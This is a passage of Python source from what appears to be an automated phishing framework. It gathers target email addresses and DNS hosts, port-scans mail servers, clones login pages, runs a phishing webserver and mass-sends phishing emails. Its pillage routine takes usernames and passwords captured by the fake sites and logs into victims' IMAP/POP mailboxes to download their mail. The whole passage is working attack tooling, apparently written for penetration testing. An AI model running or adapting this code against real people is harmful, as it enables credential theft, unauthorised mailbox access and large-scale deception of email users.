            "-f",
            metavar="<list.txt>",
            dest="email_list_file",
            action='store',
            #                            type=argparse.FileType('r'),
            help="file containing list of email addresses")
        filesgroup.add_argument(
            "-C",
            metavar="<config.txt>",
            dest="config_file",
            action='store',
            #                            type=argparse.FileType('r'),
            help="config file")

        #==================================================
        # Enable Flags
        #==================================================
        enablegroup = parser.add_argument_group('enable flags')
        enablegroup.add_argument(
            "--all",
            dest="enable_all",
            action='store_true',
            help="enable ALL flags... same as (-g --external -s -w -v -v -y)")
        enablegroup.add_argument(
            "--test",
            dest="enable_test",
            action='store_true',
            help=
            "enable all flags EXCEPT sending of emails... same as (-g --external --simulate -w -y -v -v)"
        )
        enablegroup.add_argument(
            "--recon",
            dest="enable_recon",
            action='store_true',
            help=
            "gather info (i.e. email addresses, dns hosts, websites, etc...) same as (-e --dns)"
        )
        enablegroup.add_argument("--external",
                                 dest="enable_external",
                                 action='store_true',
                                 help="enable external tool utilization")
        enablegroup.add_argument(
            "--dns",
            dest="enable_gather_dns",
            action='store_true',
            help="enable automated gathering of dns hosts")
        enablegroup.add_argument(
            "-g",
            dest="enable_gather_email",
            action='store_true',
            help="enable automated gathering of email targets")
        enablegroup.add_argument(
            "-s",
            dest="enable_send_email",
            action='store_true',
            help="enable automated sending of phishing emails to targets")
        enablegroup.add_argument(
            "--simulate",
            dest="simulate_send_email",
            action='store_true',
            help="simulate the sending of phishing emails to targets")
        enablegroup.add_argument(
            "-w",
            dest="enable_web",
            action='store_true',
            help="enable generation of phishing web sites")
        enablegroup.add_argument(
            "-W",
            dest="daemon_web",
            action='store_true',
            help="leave web server running after termination of spf.py")

        #==================================================
        # Advanced Flags
        #==================================================
        advgroup = parser.add_argument_group('ADVANCED')
        advgroup.add_argument(
            "--adv",
            dest="enable_advanced",
            action='store_true',
            help=
            "perform all ADVANCED features same as (--dns --profile --pillage)"
        )
        advgroup.add_argument(
            "--profile",
            dest="profile_domain",
            action='store_true',
            help="profile the target domain (requires the --dns flag)")
        advgroup.add_argument(
            "--pillage",
            dest="pillage_email",
            action='store_true',
            help="auto pillage email accounts (requires the --dns flag)")

        #==================================================
        # Optional Args
        #==================================================
        parser.add_argument("-d",
                            metavar="<domain>",
                            dest="domain",
                            action='store',
                            help="domain name to phish")
        parser.add_argument("-p",
                            metavar="<domain>",
                            dest="phishdomain",
                            default="example.com",
                            action='store',
                            help="newly registered 'phish' domain name")
        parser.add_argument("-c",
                            metavar="<company's name>",
                            dest="company",
                            action='store',
                            help="name of company to phish")
        parser.add_argument("--ip",
                            metavar="<IP address>",
                            dest="ip",
                            default=Utils.getIP(),
                            action='store',
                            help="IP of webserver defaults to [%s]" %
                            (Utils.getIP()))
        parser.add_argument("-v",
                            "--verbosity",
                            dest="verbose",
                            action='count',
                            help="increase output verbosity")

        #==================================================
        # Misc Flags
        #==================================================
        miscgroup = parser.add_argument_group('misc')
        miscgroup.add_argument(
            "-y",
            dest="always_yes",
            action='store_true',
            help="automatically answer yes to all questions")

        args = parser.parse_args()

        # convert parameters to values in the config dict
        self.config["domain_name"] = args.domain
        if (self.config["domain_name"] is None):
            self.config["domain_name"] = ""
        self.config["phishing_domain"] = args.phishdomain
        if (self.config["phishing_domain"] is None):
            self.config["phishing_domain"] = "example.com"
        self.config["company_name"] = args.company
        self.config["ip"] = args.ip
        self.config["config_filename"] = args.config_file
        self.config["email_list_filename"] = args.email_list_file
        self.config["verbose"] = args.verbose
        self.config["gather_emails"] = args.enable_gather_email
        self.config["gather_dns"] = args.enable_gather_dns
        self.config["profile_domain"] = args.profile_domain
        self.config["pillage_email"] = args.pillage_email
        self.config["enable_externals"] = args.enable_external
        self.config["enable_web"] = args.enable_web
        self.config["enable_email_sending"] = args.enable_send_email
        self.config["simulate_email_sending"] = args.simulate_send_email
        self.config["daemon_web"] = args.daemon_web
        self.config["always_yes"] = args.always_yes

        if (args.enable_recon == True):
            self.config["gather_emails"] = True
            self.config["gather_dns"] = True

        if (args.enable_all == True):
            self.config["gather_emails"] = True
            self.config["enable_externals"] = True
            self.config["enable_web"] = True
            self.config["enable_email_sending"] = True
            self.config["verbose"] = 2
            self.config["always_yes"] = True

        if (args.enable_test == True):
            self.config["gather_emails"] = True
            self.config["enable_externals"] = True
            self.config["simulate_email_sending"] = True
            self.config["enable_web"] = True
            self.config["always_yes"] = True
            self.config["verbose"] = 2

        if (args.enable_advanced == True):
            self.config["gather_dns"] = True
            self.config["profile_domain"] = True
            self.config["pillage_email"] = True

        if (self.config["profile_domain"] and not self.config["gather_dns"]):
            self.config["profile_domain"] = False
            self.display.error(
                "--profile requires the --dns option to be enabled as well.")

        if (self.config["pillage_email"] and not self.config["gather_dns"]):
            self.config["pillage_email"] = False
            self.display.error(
                "--pillage requires the --dns option to be enabled as well.")

        good = False
        if (self.config["gather_emails"] or self.config["enable_externals"]
                or self.config["enable_web"]
                or self.config["enable_email_sending"]
                or self.config["simulate_email_sending"]
                or self.config["gather_dns"] or self.config["profile_domain"]
                or self.config["pillage_email"]):
            good = True
        if (not good):
            self.display.error(
                "Please enable at least one of the following parameters: -g --external --dns -s --simulate -w ( --all --test --recon --adv )"
            )
            print
            parser.print_help()
            sys.exit(1)

    #==================================================
    # Primary METHOD
    #==================================================

    def run(self, argv):

        #==================================================
        # Process/Load commanline args and config file
        #==================================================

        self.parse_parameters(argv)

        # load the config file
        if (self.config["config_filename"] is not None):
            temp1 = self.config
            temp2 = Utils.load_config(self.config["config_filename"])
            self.config = dict(temp2.items() + temp1.items())
        else:
            if Utils.is_readable("default.cfg"):
                self.display.error(
                    "a CONFIG FILE was not specified...  defaulting to [default.cfg]"
                )
                print
                temp1 = self.config
                temp2 = Utils.load_config("default.cfg")
                self.config = dict(temp2.items() + temp1.items())
            else:
                self.display.error("a CONFIG FILE was not specified...")
                print
                sys.exit()

        # set verbosity level
        if (self.config['verbose'] >= 1):
            self.display.enableVerbose()
        if (self.config['verbose'] > 1):
            self.display.enableDebug()

        # set logging path
        self.logpath = os.getcwd() + "/" + self.config[
            "domain_name"] + "_" + self.config["phishing_domain"] + "/"
        if not os.path.exists(os.path.dirname(self.logpath)):
            os.makedirs(os.path.dirname(self.logpath))

        self.display.setLogPath(self.logpath)
        #print self.logpath
        self.db = MyDB(sqlite_file=self.logpath)

        self.display.log("STARTTIME=%s\n" %
                         (time.strftime("%Y/%m/%d %H:%M:%S")),
                         filename="INFO.txt")
        self.display.log("TARGETDOMAIN=%s\n" % (self.config["domain_name"]),
                         filename="INFO.txt")
        self.display.log("PHISHINGDOMAIN=%s\n" %
                         (self.config["phishing_domain"]),
                         filename="INFO.txt")

        #==================================================
        # Load/Gather target email addresses
        #==================================================

        if ((self.config["email_list_filename"] is not None)
                or (self.config["gather_emails"] == True)):
            print
            self.display.output("Obtaining list of email targets")
            if (self.config["always_yes"]
                    or self.display.yn("Continue", default="y")):

                # if an external emaillist file was specified, read it in
                if self.config["email_list_filename"] is not None:
                    file = open(self.config["email_list_filename"], 'r')
                    temp_list = file.read().splitlines()
                    self.display.verbose(
                        "Loaded [%s] email addresses from [%s]" %
                        (len(temp_list), self.config["email_list_filename"]))
                    self.email_list += temp_list

                # gather email addresses
                if self.config["gather_emails"] == True:
                    if (self.config["domain_name"] == ""):
                        self.display.error(
                            "No target domain specified.  Can not gather email addresses."
                        )
                    else:
                        self.display.verbose(
                            "Gathering emails via built-in methods")
                        self.display.verbose(Gather.get_sources())
                        if (not self.gather):
                            self.gather = Gather(self.config["domain_name"],
                                                 display=self.display)
                        temp_list = self.gather.emails()
                        self.display.verbose(
                            "Gathered [%s] email addresses from the Internet" %
                            (len(temp_list)))
                        self.email_list += temp_list
                        print

                        # gather email addresses from external sources
                        if (self.config["gather_emails"]
                                == True) and (self.config["enable_externals"]
                                              == True):
                            # theHarvester
                            self.display.verbose(
                                "Gathering emails via theHarvester")
                            thr = theHarvester(
                                self.config["domain_name"],
                                self.config["theharvester_path"],
                                display=self.display)
                            out = thr.run()
                            if (not out):
                                temp_list = thr.emails()
                                self.display.verbose(
                                    "Gathered [%s] email addresses from theHarvester"
                                    % (len(temp_list)))
                                self.email_list += temp_list
                            else:
                                self.display.error(out)
                            print

    #                        # Recon-NG
    #                        self.display.verbose("Gathering emails via Recon-NG")
    #                        temp_list = reconng(self.config["domain_name"], self.config["reconng_path"]).gather()
    #                        self.display.verbose("Gathered [%s] email addresses from Recon-NG" % (len(temp_list)))
    #                        self.email_list += temp_list

    # sort/unique email list
                self.email_list = Utils.unique_list(self.email_list)
                self.email_list.sort()

                self.db.addUsers(self.email_list)

                # print list of email addresses
                self.display.verbose("Collected [%s] unique email addresses" %
                                     (len(self.email_list)))
                self.display.print_list("EMAIL LIST", self.email_list)
                for email in self.email_list:
                    self.display.log(email + "\n",
                                     filename="email_targets.txt")

        #==================================================
        # Gather dns hosts
        #==================================================

        if (self.config["gather_dns"] == True):
            print
            self.display.output("Obtaining list of host on the %s domain" %
                                (self.config["domain_name"]))
            self.display.verbose("Gathering hosts via built-in methods")

            # Gather hosts from internet search
            self.display.verbose(Gather.get_sources())
            if (not self.gather):
                self.gather = Gather(self.config["domain_name"],
                                     display=self.display)
            temp_list = self.gather.hosts()
            self.display.verbose(
                "Gathered [%s] hosts from the Internet Search" %
                (len(temp_list)))
            self.hostname_list += temp_list

            # Gather hosts from DNS lookups
            temp_list = Dns.xfr(self.config["domain_name"])
            self.display.verbose("Gathered [%s] hosts from DNS Zone Transfer" %
                                 (len(temp_list)))
            self.hostname_list += temp_list

            temp_list = Dns.ns(self.config["domain_name"])
            temp_list = Utils.filterList(temp_list, self.config["domain_name"])
            self.display.verbose("Gathered [%s] hosts from DNS NS lookups" %
                                 (len(temp_list)))
            self.hostname_list += temp_list

            temp_list = Dns.mx(self.config["domain_name"])
            temp_list = Utils.filterList(temp_list, self.config["domain_name"])
            self.display.verbose("Gathered [%s] hosts from DNS MX lookups" %
                                 (len(temp_list)))
            self.hostname_list += temp_list

            # Gather hosts from dictionary lookup
            temp_list = Dns.brute(self.config["domain_name"],
                                  display=self.display)
            self.display.verbose(
                "Gathered [%s] hosts from DNS BruteForce/Dictionay Lookup" %
                (len(temp_list)))
            self.hostname_list += temp_list

            # sort/unique hostname list
            self.hostname_list = Utils.unique_list(self.hostname_list)
            self.hostname_list.sort()

            self.db.addHosts(self.hostname_list)

            # print list of hostnames
            self.display.verbose("Collected [%s] unique host names" %
                                 (len(self.hostname_list)))
            self.display.print_list("HOST LIST", self.hostname_list)

        #==================================================
        # Perform Port Scans
        #==================================================

        if (self.config["gather_dns"] == True):
            self.display.output(
                "Performing basic port scans of any identified hosts.")
            self.server_list[80] = []
            self.server_list[443] = []
            self.server_list[110] = []
            self.server_list[995] = []
            self.server_list[143] = []
            self.server_list[993] = []
            self.server_list[25] = []

            for host in self.hostname_list:
                openports = portscan.scan(host,
                                          [25, 80, 110, 143, 443, 993, 995])
                found = False
                for port in openports:
                    self.db.addPort(port, host)
                    if (port == 80):
                        self.display.verbose("Found website at: %s 80" %
                                             (host))
                        self.server_list[80].append(host)
                        found = True
                    elif (port == 443):
                        self.display.verbose("Found website at: %s 443" %
                                             (host))
                        self.server_list[443].append(host)
                        found = True
                    elif (port == 110):
                        self.display.verbose("Found POP at    : %s 110" %
                                             (host))
                        self.server_list[110].append(host)
                        found = True
                    elif (port == 995):
                        self.display.verbose("Found POPS at   : %s 995" %
                                             (host))
                        self.server_list[995].append(host)
                        found = True
                    elif (port == 143):
                        self.display.verbose("Found IMAP at   : %s 143" %
                                             (host))
                        self.server_list[143].append(host)
                        found = True
                    elif (port == 993):
                        self.display.verbose("Found IMAPS at  : %s 993" %
                                             (host))
                        self.server_list[993].append(host)
                        found = True
                    elif (port == 25):
                        self.display.verbose("Found SMTP at   : %s 25" %
                                             (host))
                        self.server_list[25].append(host)
                        found = True
                    if (found):
                        self.display.log(host + "\n", filename="hosts.txt")

        #==================================================
        # Profile Web Sites
        #==================================================

        if (self.config["profile_domain"] == True):
            self.display.output(
                "Determining if any of the identified hosts have web servers.")

            for host in self.server_list[80]:
                p = profiler()
                profile_results = p.run("http://" + host, debug=False)
                if (profile_results and (len(profile_results) > 0)):
                    max_key = ""
                    max_value = 0
                    for key, value in profile_results:
                        if (value.getscore() > max_value):
                            max_key = key
                            max_value = value.getscore()
                    if (max_value > 0):
                        self.display.verbose(
                            "POSSIBLE MATCH FOR [http://%s] => [%s]" %
                            (host, max_key))
                        self.profile_valid_web_templates.append(max_key)
                else:
                    if (p.hasLogin("http://" + host)):
                        self.profile_dynamic_web_templates.append("http://" +
                                                                  host)

            for host in self.server_list[443]:
                p = profiler()
                profile_results = p.run("https://" + host, debug=False)
                if (profile_results and (len(profile_results) > 0)):
                    max_key = ""
                    max_value = 0
                    for key, value in profile_results:
                        if (value.getscore() > max_value):
                            max_key = key
                            max_value = value.getscore()
                    if (max_value > 0):
                        self.display.verbose(
                            "POSSIBLE MATCH FOR [https://%s] => [%s]" %
                            (host, max_key))
                        self.profile_valid_web_templates.append(max_key)
                else:
                    if (p.hasLogin("https://" + host)):
                        self.display.verbose(
                            "POSSIBLE DYNAMIC TEMPLATE SITE [https://%s]" %
                            (host))
                        self.profile_dynamic_web_templates.append("https://" +
                                                                  host)

            self.profile_valid_web_templates = Utils.unique_list(
                self.profile_valid_web_templates)
            self.profile_valid_web_templates.sort()
            # print list of valid templatess
            self.display.verbose("Collected [%s] valid web templates" %
                                 (len(self.profile_valid_web_templates)))
            self.display.print_list("VALID TEMPLATE LIST",
                                    self.profile_valid_web_templates)

            self.profile_dynamic_web_templates = Utils.unique_list(
                self.profile_dynamic_web_templates)
            self.profile_dynamic_web_templates.sort()

            # print list of valid templatess
            self.display.verbose("Collected [%s] dynamic web templates" %
                                 (len(self.profile_dynamic_web_templates)))
            self.display.print_list("DYNAMIC TEMPLATE LIST",
                                    self.profile_dynamic_web_templates)

            self.display.output("Cloning any DYNAMIC sites")
            for template in self.profile_dynamic_web_templates:
                sc = SiteCloner(clone_dir=self.logpath)
                tdir = sc.cloneUrl(template)
                self.display.verbose("Cloning [%s] to [%s]" % (template, tdir))
                self.db.addWebTemplate(ttype="dynamic",
                                       src_url=template,
                                       tdir=tdir)

            for f in os.listdir(self.config["web_template_path"]):
                template_file = os.path.join(self.config["web_template_path"],
                                             f) + "/CONFIG"
                #                self.db.addWebTemplate(ttype="static", src_url="", tdir=os.path.join(self.config["web_template_path"], f))
                for line in open(template_file).readlines():
                    for tem in self.profile_valid_web_templates:
                        if re.match("^VHOST=\s*" + tem + "\s*$", line,
                                    re.IGNORECASE):
                            self.db.addWebTemplate(
                                ttype="static",
                                src_url="",
                                tdir=os.path.join(
                                    self.config["web_template_path"], f))
                            break

        #==================================================
        # Load web sites
        #==================================================

        if self.config["enable_web"] == True:
            print
            self.display.output("Starting phishing webserver")
            if (self.config["always_yes"]
                    or self.display.yn("Continue", default="y")):

                path = os.path.dirname(os.path.realpath(__file__))
                # Start process
                cmd = [path + "/../web.py", Utils.compressDict(self.config)]
                self.webserver = subprocess.Popen(cmd,
                                                  shell=False,
                                                  stdout=subprocess.PIPE)

                # monitor output to gather website information
                while True:
                    line = self.webserver.stdout.readline()
                    line = line.strip()
                    if line == 'Websites loaded and launched.':
                        break
                    if line != '':
                        self.display.verbose(line)
                        match = re.search("Started website", line)
                        VHOST = ""
                        PORT = ""
                        if match:
                            parts = line.split("[")
                            VHOST = parts[1].split("]")
                            VHOST = VHOST[0].strip()
                            PORT = parts[2].split("]")
                            PORT = PORT[0].strip()
                            PORT = PORT[7:]
                            # keep the URL clean
                            # if port is 80, then it does not need to be included in the URL
                            if (PORT[-3:] == ":80"):
                                PORT = PORT[:-3]

                            self.config[VHOST + "_port"] = PORT
                            self.config[VHOST + "_vhost"] = VHOST
                            Utils.screenCaptureWebSite(
                                "http://" + PORT,
                                self.logpath + PORT + "_" + VHOST + ".png")
                            Utils.screenCaptureWebSite(
                                "http://" + VHOST + "." +
                                self.config["phishing_domain"],
                                self.logpath + VHOST + "." +
                                self.config["phishing_domain"] + ".png")

                # Write PID file
                pidfilename = os.path.join(self.pid_path, "spfwebsrv.pid")
                pidfile = open(pidfilename, 'w')
                pidfile.write(str(self.webserver.pid))
                pidfile.close()
                self.webserverpid = self.webserver.pid
                self.display.verbose("Started WebServer with pid = [%s]" %
                                     self.webserver.pid)

        #==================================================
        # Build array of email templates
        #==================================================

        if (((self.email_list is not None) and (self.email_list))
                and ((self.config["enable_email_sending"] == True) or
                     (self.config["simulate_email_sending"] == True))):
            print
            self.display.verbose("Locating phishing email templates")
            if (self.config["always_yes"]
                    or self.display.yn("Continue", default="y")):

                # loop over each email template
                for f in os.listdir("templates/email/"):
                    template_file = os.path.join("templates/email/", f)
                    self.display.debug(
                        "Found the following email template: [%s]" %
                        template_file)

                    if ((Utils.is_readable(template_file))
                            and (os.path.isfile(template_file))):
                        # read in the template SUBJECT, TYPE, and BODY
                        TYPE = ""
                        SUBJECT = ""
                        BODY = ""
                        with open(template_file, "r") as myfile:
                            for line in myfile.readlines():
                                match = re.search("TYPE=", line)
                                if match:
                                    TYPE = line.replace('"', "")
                                    TYPE = TYPE.split("=")
                                    TYPE = TYPE[1].lower().strip()
                                match2 = re.search("SUBJECT=", line)
                                if match2:
                                    SUBJECT = line.replace('"', "")
                                    SUBJECT = SUBJECT.split("=")
                                    SUBJECT = SUBJECT[1].strip()
                                match3 = re.search("BODY=", line)
                                if match3:
                                    BODY = line.replace('"', "")
                                    BODY = BODY.replace(r'\n', "\n")
                                    BODY = BODY.split("=")
                                    BODY = BODY[1].strip()
                        self.email_templates[TYPE].append(
                            EmailTemplate(TYPE, SUBJECT, BODY))

        #==================================================
        # Generate/Send phishing emails
        #==================================================

        if ((self.config["enable_email_sending"] == True)
                or (self.config["simulate_email_sending"] == True)):
            if ((self.config["determine_smtp"] == "1")
                    and (self.config["use_specific_smtp"] == "1")):
                self.display.error(
                    "ONLY 1 of DETERMINE_SMTP or USE_SPECIFIC_SMTP can be enabled at a time."
                )
            else:
                print
                self.display.output("Sending phishing emails")
                if (self.config["always_yes"]
                        or self.display.yn("Continue", default="y")):

                    templates_logged = []
                    #do we have any emails top send?
                    if self.email_list:
                        temp_target_list = self.email_list
                        temp_delay = 1
                        if (self.config["email_delay"] is not None):
                            temp_delay = int(self.config["email_delay"])
                        send_count = 0
                        # while there are still target email address, loop
                        while (temp_target_list
                               and (send_count <
                                    (int(self.config["emails_max"])))):
                            # inc number of emails we have attempted to send
                            send_count = send_count + 1
                            # delay requested amount of time between sending emails
                            time.sleep(temp_delay)
                            # for each type of email (citrix, owa, office365, ...)
                            for key in self.email_templates:
                                # double check
                                if temp_target_list:
                                    # for each email template of the given type
                                    for template in self.email_templates[key]:
                                        # double check
                                        if temp_target_list:
                                            # grab a new target email address
                                            target = temp_target_list.pop(0)
                                            self.display.verbose(
                                                "Sending Email to [%s]" %
                                                target)
                                            #FROM = "support@" + self.config["phishing_domain"]
                                            FROM = self.config["smtp_fromaddr"]

                                            SUBJECT = template.getSUBJECT()
                                            BODY = template.getBODY()

                                            # perform necessary SEARCH/REPLACE
                                            if self.config[
                                                    "enable_host_based_vhosts"] == "1":
                                                BODY = BODY.replace(
                                                    r'[[TARGET]]', "http://" +
                                                    key + "." + self.
                                                    config["phishing_domain"])
                                                if self.config[
                                                        "default_web_port"] != "80":
                                                    BODY += ":" + self.config[
                                                        "default_web_port"]
                                            else:
                                                BODY = BODY.replace(
                                                    r'[[TARGET]]', "http://" +
                                                    self.config[key + "_port"])

                                            # log
                                            if (key not in templates_logged):
                                                self.display.log(
                                                    "----------------------------------------------\n\n"
                                                    + "TO: <XXXXX>\n" +
                                                    "FROM: " + FROM + "\n" +
                                                    "SUBJECT: " + SUBJECT +
                                                    "\n\n" + BODY + "\n\n" +
                                                    "----------------------------------------------\n\n"
                                                    + "TARGETS:\n" +
                                                    "--------\n",
                                                    filename="email_template_"
                                                    + key + ".txt")
                                                templates_logged.append(key)
                                            self.display.log(
                                                target + "\n",
                                                filename="email_template_" +
                                                key + ".txt")

                                            # send the email
                                            if (self.config[
                                                    "simulate_email_sending"]
                                                    == True):
                                                self.display.output(
                                                    "Would have sent an email to [%s] with subject of [%s], but this was just a test."
                                                    % (target, SUBJECT))
                                            else:
                                                try:
                                                    if self.config[
                                                            "determine_smtp"] == "1":
                                                        emails.send_email_direct(
                                                            target,
                                                            FROM,
                                                            SUBJECT,
                                                            BODY,
                                                            debug=True)
                                                    if self.config[
                                                            "use_specific_smtp"] == "1":
                                                        #self.display.error("[USE_SPECIFIC_SMTP] not implemented")
                                                        print self.config[
                                                            "smtp_fromaddr"]
                                                        emails.send_email_account(
                                                            self.config[
                                                                "smtp_server"],
                                                            int(self.config[
                                                                "smtp_port"]),
                                                            self.config[
                                                                "smtp_user"],
                                                            self.config[
                                                                "smtp_pass"],
                                                            target,
                                                            self.config[
                                                                "smtp_fromaddr"],
                                                            SUBJECT,
                                                            BODY,
                                                            debug=True)
                                                except:
                                                    self.display.error(
                                                        sys.exc_info()[0])

        #==================================================
        # Monitor web sites
        #==================================================

        if self.config["enable_web"] == True:
            print
            self.display.output("Monitoring phishing website activity!")
            self.display.alert(
                "(Press CTRL-C to stop collection and generate report!)")
            if (self.webserver):
                while True:
                    line = self.webserver.stdout.readline()
                    line = line.strip()
                    if (self.config["pillage_email"]):
                        self.pillage(line)
                    self.display.output(line)

    #==================================================
    # Secondary METHODS
    #==================================================

    def pillage(self, line):
        username = None
        password = None

        # parse line into username/password
        usermatch = re.match(".*username=\['(.*?)'\].*", line)
        if (usermatch):
            username = usermatch.group(1)

        passmatch = re.match(".*password=\['(.*?)'\].*", line)
        if (passmatch):
            password = passmatch.group(1)

        if ((not username) or (not password)):
            return

        if (not username + ":" + password in self.pillaged_users):
            self.pillaged_users.append(username + ":" + password)

            if (not self.mp):
                self.mp = MailPillager()

            if (not self.bestMailServer):
                self.determineBestMailServer()

            if (not self.bestMailServer):
                self.display.error(
                    "No valid target IMAP/POP3 mail servers were identified.")
                return

            print self.bestMailServer + ":" + str(self.bestMailServerPort)

            self.mp.pillage(username=username,
                            password=password,
                            server=self.bestMailServer,
                            port=self.bestMailServerPort,
                            domain=self.config["domain_name"],
                            outputdir=self.logpath)

    def determineBestMailServer(self):
        if self.server_list[993]:  # IMAPS
            self.bestMailServerPort = 993
            self.bestMailServer = self.server_list[993][0]
        elif self.server_list[143]:  #IMAP
            self.bestMailServerPort = 143
            self.bestMailServer = self.server_list[143][0]
        elif self.server_list[995]:  # POP3S
            self.bestMailServerPort = 995
            self.bestMailServer = self.server_list[995][0]
        elif self.server_list[110]:  # POP3
            self.bestMailServerPort = 110
            self.bestMailServer = self.server_list[110][0]